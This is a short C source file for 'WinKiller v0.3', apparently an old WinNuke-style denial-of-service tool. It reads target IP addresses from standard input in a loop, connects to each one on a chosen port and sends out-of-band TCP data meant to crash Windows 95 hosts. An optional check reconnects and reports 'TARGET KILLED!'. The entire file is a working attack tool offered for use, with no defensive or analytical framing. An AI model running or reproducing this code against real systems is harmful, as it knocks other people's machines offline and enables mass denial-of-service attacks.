/* Er33t Win95 killer by ultima */
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <netdb.h>
#include <string.h>
#include <errno.h>
//#define CHECKKILL
//#define DEBUG
#ifdef DEBUG
# define DBUG(x) printf("[ DEBUG: %s, File: %s, Line: %i ]\r\n", x, __FILE__, __LINE__);
#else
# define DBUG(x)
#endif
winkill(target, port)
char *target;
int port;
{
   int fd, fd2;
   char *msg;
   struct sockaddr_in sin;
   struct hostent *he;
   msg = (char *)malloc(16);
   bzero(msg, 16);
   
   printf("[BZ] WinKill: INFO:  Bombing host: %s\n", target);
   DBUG("fd");
   fd = socket(PF_INET, SOCK_STREAM, IPPROTO_IP);
   DBUG("he");
   if ((he=gethostbyname(target))==NULL)
     {
	herror("[BZ] WinKill: ERROR: gethostbyname");
	return;
     }
   DBUG("sin");
   sin.sin_port=htons(port);
   sin.sin_addr=*((struct in_addr *)he->h_addr);
   sin.sin_family=AF_INET;
   DBUG("connect");
   if(connect(fd,(struct sockaddr *)&sin,sizeof(sin)) < 0)
     {
	perror("[BZ] WinKill: ERROR: connect");
	return;
     }
   if(send(fd, msg, sizeof(msg), MSG_OOB)<0)
     {
	perror("[BZ] WinKill: ERROR: sendto");
     }
#ifdef CHECKKILL
   DBUG("sleep");
   
   sleep(2);
   
   DBUG("fd2");
   
   fd2 = socket(PF_INET, SOCK_STREAM, IPPROTO_IP);
   
   DBUG("connect");
   
   if(connect(fd2,(struct sockaddr *)&sin,sizeof(sin)) < 0)
     {
	puts("[BZ] WinKill: CHECK: TARGET KILLED!");
	return;
     }	
   else
     {
	puts("[BZ] WinKill: CHECK: Kill Failed...");
	return;
     }
#endif /* checkkill */
}
main(argc, argv)

int argc;
char *argv[];

{
   char *tgs;
   puts("WinKiller v0.3 by ultima");
   if ( argc != 2 )
     {
	puts("usage: ./winkill <port>");
	puts("WinKiller will then read IPs from standard input...");
	exit(1);
     }	
   tgs = (char *)malloc(256);
   while(1)
     {
	DBUG("gets");
	gets(tgs);
	DBUG("winkill");
	winkill(tgs, atoi(argv[1]));
     }	
}
